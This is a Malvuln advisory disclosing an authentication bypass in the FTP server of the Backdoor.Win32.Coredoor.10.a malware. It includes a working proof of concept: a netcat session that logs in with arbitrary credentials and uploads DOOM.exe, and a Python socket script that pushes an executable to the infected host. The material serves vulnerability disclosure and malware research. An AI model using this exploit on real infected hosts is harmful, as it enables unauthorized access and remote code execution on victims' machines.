Backdoor.Win32.Coredoor.10.a MVID-2022-0618 Authentication Bypass

`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/49da40a2ac819103da9dc5ed10d08ddb.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Coredoor.10.a  
Vulnerability: Authentication Bypass  
Description: The malware runs an FTP server on TCP port 21000. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.  
Family: Coredoor  
Type: PE32  
MD5: 49da40a2ac819103da9dc5ed10d08ddb  
Vuln ID: MVID-2022-0618  
Dropped files: CFS.EXE   
Disclosure: 06/29/2022  
  
Exploit/PoC:  
C:\>nc64.exe 192.168.18.125 21000  
220 c400s FTP Server read...  
USER malvuln  
331 Password required for malvuln.  
PASS malvuln  
230 User malvuln logged in.  
SYST  
215 UNIX Type: L8 Internet Component Suite  
PASV  
227 Entering Passive Mode (192,168,18,125,194,224).  
STOR DOOM.exe  
150 Opening data connection for DOOM.exe.  
426 Connection closed; Cannot create file C:\temp\DOOM.exe.  
CWD \Users  
250 CWD command successful. "C:/Users/" is current directory.  
PASV  
227 Entering Passive Mode (192,168,18,125,195,94).  
STOR DOOM.exe  
150 Opening data connection for DOOM.exe.  
226 File received ok  
  
  
from socket import *  
  
MALWARE_HOST="192.168.18.125"  
PORT=50014  
DOOM="DOOM.exe"  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
f = open(DOOM, "rb")  
EXE = f.read()  
s.send(EXE)  
  
while EXE:  
s.send(EXE)  
EXE=f.read()  
  
s.close()  
  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
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`